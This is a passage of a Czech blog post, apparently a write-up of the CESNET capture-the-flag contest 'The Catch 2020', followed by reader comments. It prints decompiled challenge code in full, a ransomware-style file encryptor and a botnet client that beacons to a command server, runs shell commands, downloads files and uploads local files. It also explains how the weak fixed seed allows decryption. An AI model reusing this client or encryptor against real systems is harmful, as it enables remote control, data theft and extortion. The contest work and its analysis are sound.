get_random_aes_key(length): """ Generate random AES key """ key = bytearray((random.getrandbits(8) for _ in range(length))) return key def aes_encrypt(data, aeskey): """ Encrypt/decrypt data by provided AES key """ aes = pyaes.AESModeOfOperationCTR(aeskey) encdata = aes.encrypt(data) return encdata def read_rsakey(filename): """ Read RSA encryption key from file """ with open(filename, mode='rb') as (public_file): key_data = public_file.read() public_key = rsa.PublicKey.load_pkcs1_openssl_pem(key_data) return public_key def rsa_encrypt(data, key): """ Encrypt data by provided RSA key (public part) """ encdata = rsa.encrypt(data, key) return encdata def read_file(filename): """ Read content of file to variable """ with open(filename, 'rb') as (fileh): data = fileh.read() return data def write_file(filename, key, data, orig_len): """ Write header + encrypted content to file """ with open(filename, 'wb') as (fileh): fileh.write(b'RV20') fileh.write(key) fileh.write(orig_len.to_bytes(8, byteorder='big')) fileh.write(data) def main(): """ Main ransom function """ path, rsakeyfile = get_args() filenames = get_filenames(path) print('Found {} files'.format(len(filenames))) if filenames: for filename in filenames: print(' {}'.format(filename)) rsakey = read_rsakey(rsakeyfile) init_random(2020) for filename in filenames: aeskey = get_random_aes_key(32) data = read_file(filename) enc_data = aes_encrypt(data, aeskey) enc_aeskey = rsa_encrypt(aeskey, rsakey) write_file('{}'.format(filename), enc_aeskey, enc_data, len(data)) main() # okay decompiling abc_h.pyc
Všimneme si, že na začátku se inicializuje náhodný generátor napevno zadanou násadou [seed], a pak to pro každý další soubor vygeneruje nový symetrický klíč (z tohoto důvodu deterministicky) a tím ho to zašifruje. Kód stačí upravit, aby místo aes.encrypt
dělal aes.decrypt
a zahodil prvních 268 bajtů načteného souboru a mělo by to fungovat. Mělo - já si nějak nepřečetl že to sortuje ty soubory, takže jsem to dělal dost metodou pokus omyl (nevěděl jsem, který klíč ke kterému souboru), a tato implementace AES je příšerně pomalá. Pokud jdete přiřazování klíčů bruteforcovat, doporučuji buď použít místo pyaes nějaké openssl (ale nastavit openssl vypadalo netriviálně) nebo si cachovat vygenerovaný keystream a soubory s ním pak jenom xorovat (jo, vidíte, je to AES-CTR). Že jste soubor dešifrovali dobře poznáte tak, že na to pustíte file
a ono to něco najde :).
Mimochodem když jsme u toho -- i tuto úlohu by pravděpodobně šlo udělat, aniž by člověk dekompiloval tu binárku (byť u tohoto Pythonu to bylo triviální) - tím, že je to AES-CTR, by nejspíš stačilo nechat si tím zašifrovat nějaké svoje známé soubory, a pak vhodně xorovat.
Mimochodem2, ty linuxové binárky šly dekompilovat tímhle, jediný zádrhel je, že se to musí dekompilovat s Pythonem 3.5, takže dost historická verze. Vůbec nechápu, proč jsem na to nenarazil (teda chápu, na dotazy jako pyinstaller decompile to není v gůglu, musí se použít klíčové slovíčko extract), zkoušel jsem všechny možné pyThaw, python-exe-unpacker, unfrozen_binary, unpy2exe a samozřejmě binwalk, samozřejmě neúspěšně. Abyste se s tím nemuseli trápit (a shánět Python 3.5), tak tady jsou předchozí úlohy dekompilované: Downloaded file:
# uncompyle6 version 3.7.4 # Python bytecode 3.5 (3351) # Decompiled from: Python 3.5.3 (default, Sep 27 2018, 17:25:39) # [GCC 6.3.0 20170516] # Embedded file name: downloaded_client.py """ The Catch 2020 - Botnet client in "Downloaded file" Client """ import sys, argparse, pyaes __author__ = 'Aleš Padrta @ CESNET.CZ' __version__ = '1.0' def get_args(): """ Cmd line argument parsing (preprocessing) """ parser = argparse.ArgumentParser(description='FT2-Botnet: Client') parser.add_argument('-ip', '--ipaddress', type=str, help='Server IP address', required=True) parser.add_argument('-p', '--port', type=int, help='Server port', required=True) args = parser.parse_args() return ( args.ipaddress, args.port) def get_key(srv_ip, srv_port): """ Create key according to defined parameters """ key_base = b"\xfdd\xe2\x95\x86\x14'9\xfb\x15\x82\xdb|\xc2=\xe7\xf0BT\xd3\x17`:\xeb\x97\x93" aeskey = key_base for octet in srv_ip.split('.'): aeskey = aeskey + int(octet).to_bytes(1, byteorder='big') aeskey = aeskey + srv_port.to_bytes(2, byteorder='big') return aeskey def get_msg(key): """ Create return message """ encmsg = b"\xce\xedC\xa7\xe3\xf8\xc8U\xd0d'&cQ\x00py\x88\x8e\x1c \x0c\xb7\x9c\x08" aes = pyaes.AESModeOfOperationCTR(key) decmsg = aes.encrypt(encmsg) try: if 'FLAG' not in decmsg.decode(): return 'invalid parameters' except Exception as excdesc: return 'invalid parameters' return decmsg.decode() def main(): """ Main function """ if sys.version_info[0] < 3: print('ERROR: Python3 required.') exit(1) srv_ip, srv_port = get_args() key = get_key(srv_ip, srv_port) msg = get_msg(key) print('{}'.format(msg)) main()
The Connection
# uncompyle6 version 3.7.4 # Python bytecode 3.5 (3351) # Decompiled from: Python 3.5.3 (default, Sep 27 2018, 17:25:39) # [GCC 6.3.0 20170516] # Embedded file name: /media/sf_the-catch-2020/the-catch-2020-general/challenges/the_connection/botnet_client.py """ The Catch 2020 - Botnet client for "The Connection" """ import os, sys, codecs, subprocess, argparse, base64, socket, string, struct, random from time import sleep import platform, requests from getmac import get_mac_address __author__ = 'Aleš Padrta @ CESNET.CZ' __version__ = '1.0' class Message: __doc__ = '\n\tBotnet message\n\t' plain = '' encoded = '' sckbuffer = bytearray() def __init__(self): """ Constructor """ self.plain = '' self.encoded = '' self.sckbuffer = bytearray() def set_plain(self, msg): """ Initialize with decoded (plain) message """ self.plain = msg self.encode_msg() def get_plain(self): """ Return decoded (plain) message """ return self.plain def set_encoded(self, msg): """ Initialize with encoded message (debug purposes) """ self.encoded = msg self.decode_msg() def get_encoded(self): """ Return encoded message (debug purposes) """ return self.encoded def encode_msg(self): """ Encode plain message """ basemsg = self.plain.encode() prefix = struct.pack('>Q', len(basemsg)) self.encoded = prefix + basemsg def decode_msg(self): """ Decode plain message """ prefix = struct.unpack('>Q', self.encoded[0:8])[0] basemsg = self.encoded[8:] if len(basemsg) != prefix: self.plain = '' raise Exception('Inconsistence in message') self.plain = basemsg.decode() def send_msg(self, sck): """ Send encoded message to socket """ try: sck.sendall(self.encoded) except Exception as exc: raise def receive_msg(self, sck): """ Receive encoded message from socket """ try: raw_msglen = self.receive_all(sck, 8) if not raw_msglen: return else: msglen = struct.unpack('>Q', raw_msglen)[0] data = self.receive_all(sck, msglen) self.encoded = raw_msglen + data self.decode_msg() return len(self.encoded) except Exception: return def receive_all(self, sck, length): """ Receive specified number of bytes (or return None if EOF is hit) """ self.sckbuffer = bytearray() while len(self.sckbuffer) < length: packet = sck.recv(length - len(self.sckbuffer)) if not packet: return self.sckbuffer.extend(packet) return self.sckbuffer class BotnetClient: __doc__ = '\n\tClass for FT2-BotnetClient\n\t' client_id = None server_ip = '' time_out = 5 server_port = 0 beacon = 5 stop = False nextmsg = None nexttype = None sck = None def __init__(self, srv_ip, srv_port): """ Constructor """ self.server_ip = srv_ip self.server_port = srv_port self.generate_id() self.beacon = 1 self.stop = False self.time_out = 5 self.nextmsg = None self.nexttype = None self.sck = None def generate_id(self): """ Generate client ID """ self.client_id = '{}'.format(''.join(random.sample(string.ascii_lowercase + string.digits, k=16))) def generate_readymsg(self): """ Generate ready message """ return '{};;ready'.format(self.client_id) def get_order(self): """ Beacon and get order from server """ msg = Message() msg.set_plain(self.generate_readymsg()) msg.send_msg(self.sck) msg.set_plain('') msg.receive_msg(self.sck) details = '' order = '' if msg.get_plain().count(';;') < 1: order = msg.get_plain() else: order, details = msg.get_plain().split(';', 1) return ( order, details) def order_execute(self, details): """ Performning command "execute" """ out = None err = None try: proc = subprocess.Popen(details.split(';'), stdout=subprocess.PIPE, shell=True) out, err = proc.communicate() except Exception: pass if os.device_encoding(0): self.nextmsg = '{};;result-execution;;{} {}'.format(self.client_id, out.decode(os.device_encoding(0)) if out else '', err.decode(os.device_encoding(0)) if err else '') else: self.nextmsg = '{};;result-execution;;{} {}'.format(self.client_id, out.decode() if out else '', err.decode() if err else '') self.nexttype = 'result-execution' def order_download(self, details): """ Performning command "download" """ download_file, download_url = details.split(';;', 1) response = None try: response = requests.get(download_url) except Exception: pass if response and response.status_code == 200: download_fileh = open(download_file, 'wb') download_fileh.write(response.content) download_fileh.close() self.nextmsg = '{};;info;;download-ok;;{} -> {}'.format(self.client_id, download_url, download_file) else: self.nextmsg = '{};;info;download-failed;;{}'.format(self.client_id, download_url) self.nexttype = 'info' def order_upload(self, details): """ Performning command "upload" """ upload_content = None try: fup = codecs.open(details, 'rb') upload_content = base64.b64encode(fup.read()).decode() fup.close() except Exception: pass if upload_content: self.nextmsg = '{};;file-upload;;{};;{}'.format(self.client_id, details, upload_content) self.nexttype = 'file-upload' else: self.nextmsg = '{};;info;;upload-failed;;{}'.format(self.client_id, details) self.nexttype = 'info' def sent_data(self): """ Sending data prepared by performing previous order """ msg = Message() msg.set_plain(self.nextmsg) print('-> Sending data ({})'.format(self.nexttype)) msg.send_msg(self.sck) if self.nexttype in ('result-execution', 'file-upload'): msg.set_plain('') msg.receive_msg(self.sck) print('<- Server reply: {}'.format(msg.get_plain())) self.nextmsg = None self.nexttype = None def run(self): """ Running the botnet client """ msg = Message() print('The Catch 2020 Botnet Client started (server on {} port {})'.format(self.server_ip, self.server_port)) while not self.stop: try: self.sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sck.settimeout(self.time_out) self.sck.connect((self.server_ip, self.server_port)) except socket.error as excdesc: print('Connection failed: {}'.format(excdesc)) try: if not self.nextmsg: order, details = self.get_order() if order == 'wait': self.beacon = int(details) else: if order == 'client-stop': self.stop = True self.sck.close() else: if order == 'execute': self.order_execute(details) else: if order == 'download': self.order_download(details) else: if order == 'upload': self.order_upload(details) else: print('Received unknown order') else: self.sent_data() self.sck.close() except Exception: pass if not self.stop: sleep(self.beacon) self.beacon = self.beacon * 2.2 self.logfile.log_entry('The Catch 2020 Botnet Clien stopped', 'info') self.logfile.close() def get_args(): """ Cmd line argument parsing (preprocessing) """ parser = argparse.ArgumentParser(description='The Catch 2020 Botnet Client') parser.add_argument('-ip', '--ipaddress', type=str, help='Server IP address', required=True) parser.add_argument('-p', '--port', type=int, help='Server port', required=True) args = parser.parse_args() return ( args.ipaddress, args.port) def main(): """ Main function """ if sys.version_info[0] < 3: print('ERROR: Python3 required.') exit(1) srv_ip, srv_port = get_args() client = BotnetClient(srv_ip, srv_port) client.run() main() # okay decompiling botnet_client.pyc
Tohle je poslední úloha a nezvládl jsem ji. Jedná se o obdobu The Connection, ale do zpráv přibyly autentizační tagy. Po té, co jsem to vzdal, mi Vrtule prozradil, že to je SHA384 přes nějakou část toho stringu. SHA mě napadlo, ale myslel jsem si, že SHA jsou 224 - 256 - 448 - 512 bitů, takže 384 mi tam samozřejmě neseděla. Pro detaily si přečtěte writeup nějakého z vítězů, já se cizím peřím chlubit nebudu . Ve výsledku jsem tedy 53. a KUDOS všem těm 52 co to dali všechno.
Tiskni Sdílej:
tamto 53. místo zní jakoby děsně tragicky ale jeto furt prvních +-20% lidí noa navíc spousta jich určitě podvádělo dělalo ve víc lidech vopisovalo vod sebe nebo fuj používalo google dokonce :D :D ;D ;D
btw to psaní komentů do diskuze před vydáním blogísku de udělat uplně jednoduše ale golisoj sem slíbila žeto nikomu nepovim jak hele :O :O jeto ale fakt uplně jednoduchoučký :O :D :D ;D
Taky smekám!